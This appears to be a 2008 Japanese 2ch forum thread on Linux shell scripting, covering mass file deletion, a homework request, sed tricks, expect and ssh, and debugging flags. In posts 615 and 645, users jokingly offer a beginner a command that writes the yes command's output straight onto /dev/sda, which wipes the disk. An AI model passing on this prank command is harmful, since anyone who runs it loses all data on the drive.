- 1 名前:login:Penguin mailto:sage [2008/05/17(土) 13:44:57 ID:9hFWtCOD]
- UNIX板のスレを見ている方も多数おられるかと思いますが、
まあそれはそれとして、BASHウゼーとか言われる心配なく 平和にLINUX的スクリプト談義しましょうよ。 初めての自作スクリプト、自信ないから見てください。な初心者から トリッキーな技を駆使した作品を披露したい、蘊蓄を語りたい上級者まで いろいろな人に参加して頂けると嬉しいです。 perlやらPythonやらの話が混ざっても良いんでない? Part3 : pc11.2ch.net/test/read.cgi/linux/1184077033/ Part2 : pc11.2ch.net/test/read.cgi/linux/1154578200/ Part1 : pc8.2ch.net/test/read.cgi/linux/1121994321/ >>2-5あたりに色々と。
- 577 名前:login:Penguin [2008/11/25(火) 01:20:38 ID:r0vzabBk]
- ログのディレクトリを消去したいと思うのですが、
rm -rf /var/hoge/log/* とすると/bin/rm Argument list too longと出てしまって消せません。 どうやったら 消せるでしょう? サブディレクトリもあります。
- 578 名前:login:Penguin mailto:sage [2008/11/25(火) 01:46:29 ID:xvFoqJfe]
- >>577
rm -rf /var/hoge/log mkdir /var/hoge/log /var/hoge/log/.moge は残したい、って場合はこれじゃだめだけど。
- 579 名前:login:Penguin mailto:sage [2008/11/25(火) 02:30:00 ID:qwKBFJS7]
- いや普通に考えたら
find /var/hoge -exec rm {} \; とか find /var/hoge | xargs rm だろ?
- 580 名前:login:Penguin mailto:sage [2008/11/25(火) 02:34:44 ID:WFFUc0FW]
- for i in /var/hoge/log/*;do rm -rf $i;done
じゃなくて?
- 581 名前:login:Penguin mailto:sage [2008/11/25(火) 02:36:41 ID:qwKBFJS7]
- >>580
ファイル多すぎて*展開できなくてエラーになってんだから無理じゃね?
- 582 名前:login:Penguin mailto:sage [2008/11/25(火) 02:39:23 ID:gfINAer7]
- >>577
echo /var/hoge/log/* | xargs rm -rf >>579 find 使うなら maxdepth とか使わないと無駄に処理が増えると思う。
- 583 名前:login:Penguin mailto:sage [2008/11/25(火) 02:53:59 ID:qwKBFJS7]
- >>582
いやだからファイル多すぎて*展開できないからエラーなんだろ? echoにも渡せないと思うんだけど・・・ 気のせいだったらすまんけど
- 584 名前:login:Penguin mailto:sage [2008/11/25(火) 02:57:22 ID:WFFUc0FW]
- シェルが*を展開するところまではできてるでしょ。
その結果をシェルからまとめて渡されたrmがエラー吐いてる訳で >/bin/rm Argument list too long
- 585 名前:login:Penguin mailto:sage [2008/11/25(火) 03:09:26 ID:qwKBFJS7]
- ああ確かにその通り
echoの引数はARG_MAX超えても大丈夫?で、 xargsはrmに渡すときに調整?してくれるからこれが一番軽いと・・ 覚えときます
- 586 名前:login:Penguin mailto:sage [2008/11/25(火) 03:10:33 ID:gfINAer7]
- >>580
以前、くだ質にも同じこと書いた気がするけど rm を for 文の外に出して for i in AAAA/* ; do echo $i ; done | xargs rm -rf とかやった方が早いよ。 # 速度なんか気にしてないってのならスルーしてくれ。
- 587 名前:577 mailto:sage [2008/11/25(火) 04:35:06 ID:r0vzabBk]
- 色々提案ありがとうございます。 勉強になりました。 特に*はシェルには展開されている
けどコマンドで弾かれているという認識は参考になります。 さて、最終的に採用したいと 思いますのは>>578さんの rm -rf /var/hoge/log mkdir /var/hoge/log です。 これが圧倒的に早い。 1万個の空ファイルを削除するのに>>586ですと 2.9秒ほどかかったのですが、>>578ですと0.5秒ぐらいで終わっちゃいます。 やはり1つのバイナリの中で完結してしまうのは強いですね。 ありがとうございました。
- 588 名前:login:Penguin mailto:sage [2008/11/25(火) 07:54:57 ID:xvFoqJfe]
- find とか xargs の構文を忘れてても
>>578 ならすぐ実行できるし。 もっと早く /var/hoge/log/ の使用を再開したいなら↓で。 mv /var/hoge/log /var/hoge/log.old mkdir /var/hoge/log rm -rf /var/hoge/log.old &
- 589 名前:login:Penguin mailto:sage [2008/11/25(火) 08:52:27 ID:6LjfCVVr]
- >>586はまとめてrmに渡してるから同じエラーになんじゃないの?
- 590 名前:login:Penguin mailto:sage [2008/11/25(火) 11:08:32 ID:DFgMW53d]
- >>589
xargs使ってるから平気だよ
- 591 名前:login:Penguin [2008/11/25(火) 17:00:27 ID:JcNYShCy]
- 失礼します。シェルスクリプト作成がてんでわからないのでどなたか教えて下さい。
作るものは以下のものです。 1:引数に複数の整数を与えたときに、それらの和を計算するシェルスクリプトの作成。 具体的には $ ./sum.sh 1 2 3 4 5 15 のようになるシェルスクリプト 2:現在の時刻に応じて Good morning / Hello / Good evening / Good night のどれかを表示するシェルスクリプト (例えば、5:00〜11:00であればGood morningと表示) その際、引数として名前が入力されればその名前を、引数が 入力されなければ“sir”を付け加えて表示させる。 具体的には $ ./hello.sh Taro Hello, Taro. $ ./hello.sh Good morning, sir. となるシェルスクリプト どなたか宜しくお願いします。
- 592 名前:login:Penguin mailto:sage [2008/11/25(火) 17:03:09 ID:xvFoqJfe]
- >>591
来年は授業ちゃんと聞こうな。
- 593 名前:login:Penguin mailto:sage [2008/11/25(火) 17:04:41 ID:v/fLv6x4]
- 宿題丸投げとか、頭緩すぎるだろ
- 594 名前:login:Penguin mailto:sage [2008/11/25(火) 17:14:14 ID:D5OL3C0Q]
- >>591
同じところだwww 講師は2chを監視しているから注意な
- 595 名前:login:Penguin mailto:sage [2008/11/25(火) 17:44:18 ID:MTxeuCTC]
- #!/bin/sh
( date +%H; echo $1 ) | sed ' s/0[56789]/Good morning/ s/1[01234]/Hello/ s/1[56789]/Good evening/ s/.*/Good night/ N s/\n$/\nsir/ s/\n\(.*\)/, \1./ ' 足し算ってどうすんだ
- 596 名前:login:Penguin mailto:sage [2008/11/25(火) 17:56:31 ID:DFgMW53d]
- 宿題かよw
shスクリプト 足し算 でググれば一発だろw
- 597 名前:login:Penguin mailto:sage [2008/11/25(火) 18:10:21 ID:MTxeuCTC]
- 一発だった^^
#!/bin/sh for i in "$@"; do echo $i; done | sed ' 1 {h; s/.*/hgfedcba/; x} H; g :a s/9$/aaaaaaaaa/; s/8$/aaaaaaaa/; s/7$/aaaaaaa/; s/6$/aaaaaa/ s/5$/aaaaa/; s/4$/aaaa/; s/3$/aaa/; s/2$/aa/; s/1$/a/; s/0$// s/\(aa*[^a]*\)\(a*\)/\2\1/ s/a\{11\}/ba/ y/hgfedcba/gfedcbah/ /^h/!ba; s/.$//; h; $!d s/\([a-z]\)\1\1\1\1\1\1\1\1\1/9/g; s/\([a-z]\)\1\1\1\1\1\1\1\1/8/g s/\([a-z]\)\1\1\1\1\1\1\1/7/g; s/\([a-z]\)\1\1\1\1\1\1/6/g s/\([a-z]\)\1\1\1\1\1/5/g; s/\([a-z]\)\1\1\1\1/4/g; s/\([a-z]\)\1\1\1/3/g s/\([a-z]\)\1\1/2/g; s/\([a-z]\)\1/1/g; s/\([a-z]\)/0/g s/^0*\(.\)/\1/ '
- 598 名前:login:Penguin mailto:sage [2008/11/25(火) 18:14:44 ID:DFgMW53d]
- >>597
sed好きなの? 一応、>>596 は >>591 に対して言ったつもりだからね^^
- 599 名前:login:Penguin mailto:sage [2008/11/25(火) 20:44:14 ID:b3v2wMU+]
- 普通はexprとかletなんだろうな
あとはbcに渡しちゃうとか。 bashならこんな書き方もできるけどあまり使わないな。 $hoge=$[$1 + $2 + $3 + $4 + $5]
- 600 名前:login:Penguin mailto:sage [2008/11/25(火) 21:27:49 ID:Q3bl66bL]
- >>599
これははじめてみたなぁ $(())といいこれといい、演算機能つけるなら普通に $hoge=$1+$2+$3+$4+$5 みたいな書き方許してくれもいいのにね
- 601 名前:login:Penguin mailto:sage [2008/11/25(火) 22:33:31 ID:MTxeuCTC]
- $(( $1 + $2 )) はPOSIX shellの範囲にあるけど
$[ $1 + $2 ] はbash拡張(しかもdeprecated)だ。letもPOSIXにない。
- 602 名前:login:Penguin mailto:sage [2008/11/25(火) 22:49:51 ID:+1wUZzkP]
- >>599-601
単なる宿題の手伝い、つまんね。sed狂の人ぐらいヒネってちょ。
- 603 名前:login:Penguin mailto:sage [2008/11/26(水) 01:23:56 ID:XqTaeM1U]
- $(( $1 + $2 )) これってできるんだ?
$((hoge + hogehoge)) みたいな書き方しかできないと思い込んでた
- 604 名前:login:Penguin mailto:sage [2008/11/26(水) 16:54:19 ID:fRJ0bu/c]
- >>602
題意を満たしながらも難解で意味不明で実用性皆無なスクリプトを書くのも楽しいな。 #!/bin/sh echo $@`shift;echo -e \\\t|expand -t$#|tr \ +`p|dc とか。
- 605 名前:login:Penguin mailto:sage [2008/11/27(木) 12:25:07 ID:nbCEJRVf]
- 引数不定で最短なら
(IFS=+;echo "$*")|bc とかどうだろう
- 606 名前:login:Penguin mailto:sage [2008/11/27(木) 13:28:41 ID:u0PIuWVz]
- >>604
シェルスクリプトにバイナリ埋め込んどくとかな。 …よく考えたら、これは悪どいな。 実行するまで何が起こるか判らないし、自分が生徒からこんなの 送りつけられたら無条件で○をあげてしまいそうだ。
- 607 名前:login:Penguin mailto:sage [2008/11/27(木) 17:14:51 ID:Rh4WMeZa]
- $ echo "#!/bin/bash" > hoge
とすると bash: !/bin/bash": event not found とエラーになります。 $ echo "#\!/bin/bash" > hoge と ! をエスケープしたつもりでも $ cat hoge #\!/bin/bash と \ が余分に付いてしまいます。 !を上手くエスケープするにはどうしたら良いでしょうか?
- 608 名前:login:Penguin mailto:sage [2008/11/27(木) 17:30:00 ID:L8oSt/LM]
- よくわからないから '#!/bin/bash'
- 609 名前:login:Penguin [2008/11/27(木) 19:33:56 ID:JHgCmyIe]
- >>607
$ echo "#!/bin/bash" の解釈↓ $ man bash イベント指示子 (Event Designator) !string string で始まるコマンドのうち、一番現在に近いところで実行したものを参照します。
- 610 名前:607 mailto:sage [2008/11/28(金) 20:18:54 ID:yC0octAN]
- >>608>>609
ダブルクォート内では ! のエスケープはできないようですね。 シングルクォートで囲むことにします。 ありがとうございました。
- 611 名前:login:Penguin mailto:sage [2008/12/07(日) 04:03:19 ID:wQWU7SKF]
- 厳密にはexpectの質問なので、スレ違いだはと思うのですが…
1 #!/bin/sh 2 3 HOST=$1 4 USER=$2 5 PASS=$3 6 COMD=$4 7 8 expect -c " 9 spawn ssh \"$USER@$HOST\" \"$COMD\" 10 expect { 11 \"password:\" { 12 send \"$PASS\r\" 13 } 14 \"(yes/no)?\" { 15 send \"yes\r\" 16 exp_continue 17 } 18 } 19 expect 20 " 21 echo $? 9行目でspawnしたsshの戻り値を得たいのですが、どうしたら良いでしょうか? 上記だと、当然ですが、21行目で表示されるのは8行目のexpectの戻り値になります。 あt、19行目のexpectが無いと動かないのですが、そんな物なんでしょうか?
- 612 名前:login:Penguin mailto:sage [2008/12/09(火) 09:16:00 ID:73r9bgNC]
- ssh-agent使った方が簡単。
1. exit statusはwaitを使って得て、exitでshellに引き渡してください。 2. 10行目のexpectで、パスワード、ホストキー以外の出力も食うようにする。
- 613 名前:login:Penguin mailto:sage [2008/12/13(土) 01:21:37 ID:jyj+RUH2]
- >>612
> 1. exit statusはwaitを使って得て、exitでshellに引き渡してください。 これのやり方をもう少し具体的にお願いできませんか? manに以下の記述はあるんだけど、 wait は、通常 4 つの整数のリストを帰す。最初の整数は、終了を待ち構え ているプロセスの pid である。 2 つめの整数は、関連する spawn id であ る。 3 つめの整数は、オペレーティングシステムエラーがあれば -1、そう でなければ、0 である。 3 つめの整数が 0 であれば、4 つ め の 整 数 はspawn さ れたプロセスからのリターンコードである。3 つめの整数が -1 であれば、4 つめの整数はオペレーティングシステムによって設定さ れ た errno の値である。 この値をどうやって受け取るのかわからないのです。 tarballのexampleの中も見てみたけど、waitから値を受け取るような処理は無いようでした。
- 614 名前:login:Penguin mailto:sage [2008/12/13(土) 22:44:02 ID:b12qnNPM]
- #!/bin/sh
echo '何かオモシロいスクリプトをうpして'
- 615 名前:login:Penguin mailto:sage [2008/12/13(土) 22:49:30 ID:4TqEVqdZ]
- >>614
sudo su -c ”yes ’\(^o^)/’ > /dev/sda” これやってから、ハードディスクを覗くと楽しいよ
- 616 名前:login:Penguin mailto:sage [2008/12/14(日) 03:10:56 ID:YLiph78l]
- >>615
新しいなwww
- 617 名前:login:Penguin mailto:sage [2008/12/14(日) 03:51:27 ID:07cIEQdu]
- yesなんてコマンド始めて知ったわ。
健全な使い道あるのか?と思ってググったら 同じ疑問持ってる人が一杯いた。 rpm -e yes じゃ削除できないし。 GNUはこんなコマンド標準装備するな
- 618 名前:login:Penguin mailto:sage [2008/12/14(日) 04:46:19 ID:x3iOnWd3]
- >>617
つ yes no | rm -i ... rm -iのトコはまともにバッチ実行させてくれない色々なクサレプログラムに 置き換えて使え。
- 619 名前:login:Penguin mailto:sage [2008/12/14(日) 09:43:49 ID:M7gNbgdV]
- 誰のせいでもありゃしない みんなGNUが悪いのさ
と「悲しき願い」の節で浮かんだ。 "yes"コマンドの責めまで負わせられるとはGNUも気の毒に。
- 620 名前:login:Penguin mailto:sage [2008/12/14(日) 09:45:30 ID:h0ChkGK1]
- ベースシステム=GNUなんだろうな。
だからGUI厨は・・・
- 621 名前:login:Penguin mailto:sage [2008/12/14(日) 10:27:04 ID:v1K8r+s5]
- >>613
> この値をどうやって受け取るのかわからないのです。 返すから受け取れ。
- 622 名前:615 mailto:sage [2008/12/14(日) 10:56:04 ID:qZcnFZNK]
- >>617
例えば、テキストインストーラーで、ずっと Enter でデフォルトのまま流したい場合、 例えば、vmware-config.pl とか、 $ yes | sed 's/y//' | vmware-config.pl とすると、自動インストールができるよ。 yes で有り難みを感じたのってこれくらいかな。
- 623 名前:login:Penguin mailto:sage [2008/12/14(日) 11:28:15 ID:v1K8r+s5]
- $ yes "" | apt-get install 〜
で、コンフィグファイルをパッケージの物で上書き
- 624 名前:login:Penguin mailto:sage [2008/12/14(日) 18:19:59 ID:vb4UhgIp]
- yes >/dev/null
としてCPU負荷が高い状態を簡単に作り出せる
- 625 名前:login:Penguin mailto:sage [2008/12/14(日) 19:12:16 ID:FrsrwlIw]
- >>624
ああ、これは良い方法を教えて貰った。
- 626 名前:login:Penguin mailto:sage [2008/12/14(日) 21:39:45 ID:qZcnFZNK]
- yes も色々使い方があるもんだな。
今日はとても勉強になった。良スレだ。
- 627 名前:login:Penguin mailto:sage [2008/12/14(日) 21:43:23 ID:ntvk42pK]
- yes we can
- 628 名前:login:Penguin mailto:sage [2008/12/15(月) 00:30:34 ID:z26qt3ci]
- command && echo true || echo false
これって if command ; then echo true ; else echo false ; fi これと同じ意味ですか? やってみると同じなんだけど 上のやつはcommandの戻り値を||のところで取れてるのが納得がいかないんですが
- 629 名前:login:Penguin mailto:sage [2008/12/15(月) 01:16:56 ID:JDbCwPLG]
- >>628
|| は制御演算子だから。詳しくはman bash
- 630 名前:login:Penguin mailto:sage [2008/12/15(月) 01:33:20 ID:SVRwhtMn]
- >>628
Cと一緒やん。 ショートカット倫理演算って奴。
- 631 名前:login:Penguin mailto:sage [2008/12/15(月) 01:38:22 ID:qGdHBZUC]
- echo true のところが偽になったらまずい
- 632 名前:login:Penguin mailto:sage [2008/12/15(月) 11:03:10 ID:furyu78m]
- >>621
どうやら、Tclの知識が全く足りてなかったようでした。 set wait_ret [wait] set exit_st [lindex \$wait_ret 3] exit \$exit_st こんな感じで行けました。
- 633 名前:login:Penguin mailto:sage [2008/12/15(月) 11:40:13 ID:+qLfSAKJ]
- >>630
りんり?
- 634 名前:login:Penguin mailto:sage 違うか [2008/12/15(月) 14:34:12 ID:X1Zh6Thx]
- 倫理回路を知らんのか。
ギル博士の笛の音で制御されるんだぜ。
- 635 名前:login:Penguin mailto:sage [2008/12/15(月) 23:06:26 ID:yFzlGNM+]
- (>>634 or true) die;
- 636 名前:login:Penguin mailto:sage [2008/12/16(火) 05:24:51 ID:e+M4JPQL]
- 不完全な倫理回路は精神を抑止きれないのであった。
- 637 名前:login:Penguin mailto:sage [2008/12/16(火) 18:42:45 ID:JR7TYwVP]
- yesって何?
まじでわからん。
- 638 名前:login:Penguin mailto:sage [2008/12/16(火) 18:45:24 ID:5tMU0aGB]
- >>637
man yes
- 639 名前:login:Penguin mailto:sage [2008/12/16(火) 20:22:10 ID:SAzVk+y/]
- >>637
yes man
- 640 名前:login:Penguin mailto:sage [2008/12/16(火) 22:17:36 ID:cBajdfGN]
- >>637
Siberian Khatru という名曲がありましての。 ttp://jp.youtube.com/watch?v=jpkkduTzR70
- 641 名前:login:Penguin mailto:sage [2008/12/17(水) 00:28:54 ID:nY30U6Zi]
- >>640
俺をギター弾きと知っての狼藉か。 なになに? コマンドなのか。 ちょと叩いてみよう。 $ yes っと わーーーーーーーーーーーーーーーーーーーーー!
- 642 名前:login:Penguin mailto:sage [2008/12/17(水) 00:41:20 ID:TMrKHF72]
- >>641
フいたwww
- 643 名前:login:Penguin mailto:sage [2008/12/17(水) 17:57:34 ID:Hofst7JZ]
- yes(1) yes(1)
名前 yes - kill されるまで文字列を繰り返して出力する 書式 yes [string...] yes [--help] [--version] 説明 yes はコマンドライン引数をスペースで区切って末尾に改行 (newline) を付加 し、 kill されるまで繰り返して表示する。引数が一つも与えられな い と 、 yes は ‘y’ に改行を付加したものを kill されるまで表示しつづける。
- 644 名前:login:Penguin mailto:sage [2008/12/17(水) 17:58:07 ID:Hofst7JZ]
- オプション
GNU yes が引数一つだけで起動された場合には、以下のオプションが認識され る: --help 標準出力に使用方法のメッセージを出力して正常終了する。 オプション GNU yes が引数一つだけで起動された場合には、以下のオプションが認識され る: --help 標準出力に使用方法のメッセージを出力して正常終了する。 --version 標準出力にバージョン情報を出力して正常終了する。 注意 プログラムのバグについては bug-sh-utils@gnu.org に報告してください。 ペ ージの更新は Ragnar Hojland Espinosa <ragnar@ragnar-hojland.com> が行っ ています。 GNU Shell Utilities 2.1 18 June 2002 yes(1)
- 645 名前:login:Penguin mailto:sage [2008/12/17(水) 17:59:46 ID:Hofst7JZ]
- >>637
そんな君へこれを送ろう. sudo su -c ”yes ’\(^o^)/’ > /dev/sda”
- 646 名前:login:Penguin mailto:sage [2008/12/17(水) 18:04:23 ID:OCczPzah]
- >>643
なぜコピペ?
- 647 名前:login:Penguin mailto:sage [2008/12/17(水) 18:05:37 ID:cv0gYoNp]
- コピペじゃないやい
一生懸命整形したよ!
- 648 名前:login:Penguin mailto:sage [2008/12/17(水) 20:58:34 ID:QJhvpz4O]
- yes | cat -n
- 649 名前:login:Penguin mailto:sage [2008/12/17(水) 22:46:05 ID:nY30U6Zi]
- >>645
すみません。 リセットボタンを教えても起動しなくなりました。 なんつて
- 650 名前:login:Penguin mailto:sage [2008/12/20(土) 01:33:20 ID:6Sgnm3ob]
- >>649
> なんつて うん、こーゆーの、たのしーね。
- 651 名前: ◆Da4YWdyXjw [2008/12/21(日) 15:07:37 ID:hJtYLWzf]
- line 27: =/home/user1: No such file or directory
こんなエラーが出るので、27行目を見てみると homedir="/home/${username}" たったこれだけ。cdとかmkdirとかしていないのに、ただ変数に代入しただけなのに このエラーはなんなの??
- 652 名前:login:Penguin mailto:sage [2008/12/21(日) 15:12:54 ID:YLiOEgKM]
- >>651
=の前に空白が入ってんじゃないの? a=bだったら、「bをaに代入する」になるけど、 a =bだったら、「aコマンドの引数に=bを渡す」になるぞ。
- 653 名前:login:Penguin [2008/12/21(日) 15:16:00 ID:hJtYLWzf]
- >>652
すまん、代入するとき変数名に$が入ってた。 他の言語からかじったもんでちょっと戸惑うわ。。
- 654 名前:login:Penguin mailto:sage [2008/12/21(日) 15:39:47 ID:YLiOEgKM]
- >>653
sh -x で実効すると、各行がどのように展開されるのかがわかる。 シェルスクリプトデバッグの基本。
- 655 名前:login:Penguin [2008/12/21(日) 15:44:29 ID:hJtYLWzf]
- >>654
まじサンクス
- 656 名前:login:Penguin mailto:sage [2008/12/25(木) 11:10:51 ID:fon1CsAn]
- >>654
マジサンクス
- 657 名前:login:Penguin mailto:sage [2008/12/25(木) 12:15:54 ID:moDMTMWz]
- マンスジクサ
- 658 名前:login:Penguin mailto:sage [2008/12/25(木) 14:44:55 ID:Dd8u5It4]
- てか知らんかったのけ?
- 659 名前:login:Penguin [2008/12/25(木) 14:58:41 ID:hn65XKo2]
- このスレって時間の流れが遅いのか?
それとも過疎っているだけなのか。
- 660 名前:login:Penguin mailto:sage [2008/12/25(木) 19:17:43 ID:lvg0uyHv]
- >>654
知らなかった、これは便利そうですね
- 661 名前:login:Penguin mailto:sage [2008/12/25(木) 22:56:07 ID:lGWnJcnf]
- 他にかっこいいオプションないですか?
-vは結構イカしてると思ってますよ
- 662 名前:login:Penguin mailto:sage [2008/12/26(金) 00:41:27 ID:W2RM7LsO]
- sh -nもイカしてる。
うっかり実行すると抜けられなくなる。
- 663 名前:login:Penguin mailto:sage [2008/12/26(金) 00:46:12 ID:K8BYEhlr]
- -nってmanに載ってないんだけど何が起こってるのこれ?
- 664 名前:login:Penguin [2008/12/26(金) 00:53:59 ID:3z8SP2D0]
- ん?みんなUnixいじった経験とかあるんか?
俺は埼玉県にすむ、ごくごく普通の男子高校生だが、初めて触ったUnix系OSがLinuxだったこともあり 独学で(つっても本何冊か読んだだけだが)いろいろ遊んだものだが。。 どうしたらそんなに詳しくなれるんだよ。仕事とかで使ってるんかおい!
- 665 名前:login:Penguin mailto:sage [2008/12/26(金) 01:11:34 ID:ivB4KFEt]
- >>661
-e エラーが発生したらそこで止まる。
- 666 名前:login:Penguin mailto:sage [2008/12/26(金) 02:52:13 ID:WW2wJ8bx]
- >>665
きゃー すてき かなw で -n って何よ。 なに? やればわかるって? よしゃやってみる。
- 667 名前:login:Penguin mailto:sage [2008/12/26(金) 02:53:50 ID:WW2wJ8bx]
- なにもしないのだが...
- 668 名前:login:Penguin mailto:sage [2008/12/26(金) 04:09:08 ID:a7a1HFNW]
- UnixはATT Bell研が作った。
- 669 名前:login:Penguin mailto:sage [2008/12/26(金) 10:18:31 ID:kY52Q3ra]
- >>664
仕事で使ってるよ、今はLinuxさわれるだけで儲かりまくり 5年前の話だが、PostgreSQLのインストールができるだけで 単価80万とかワロタ(今は95万)
- 670 名前:login:Penguin mailto:sage [2008/12/27(土) 02:56:43 ID:ewWZe8H3]
- expect でキー同時押しは可能でしょうか?
[CTRL]+hogeや[ALT]+hogeを実現したいのですけど...。
- 671 名前:login:Penguin mailto:sage [2008/12/27(土) 08:29:19 ID:XT/dVHCc]
- man expect
- 672 名前:login:Penguin [2008/12/27(土) 12:19:24 ID:hR8dpZ4/]
- 他人が書いたシェルスクリプトを読んでいて、ふと思ったのですが
if [ -d "$LOG_DIR" ] と if [ -d $LOG_DIR ] って何が違うのでしょうか? 変数を" "で括っても括らなくても同じだと思うのですが。。。
- 673 名前:login:Penguin mailto:sage [2008/12/27(土) 12:25:49 ID:x/3/NyyP]
- 日本語のディレクトリ名とかって平気でスペース含んでるからじゃない?
- 674 名前:login:Penguin [2008/12/27(土) 12:36:55 ID:hR8dpZ4/]
- >>673
ああ、まあ確実にしたい気持ちは分かる。
- 675 名前:login:Penguin mailto:sage [2008/12/27(土) 13:00:38 ID:s0UxMQU1]
- バグを気の持ちようで片付けられても困る
- 676 名前:login:Penguin mailto:sage [2008/12/27(土) 13:19:36 ID:tvB/ANXD]
- 別に日本語じゃなくてもディレクトリ名に空白を含められるよ。
- 677 名前:login:Penguin [2008/12/27(土) 13:23:17 ID:hR8dpZ4/]
- そういえばそうだなぁ。。
よくわかりました。ありがとう。
|

|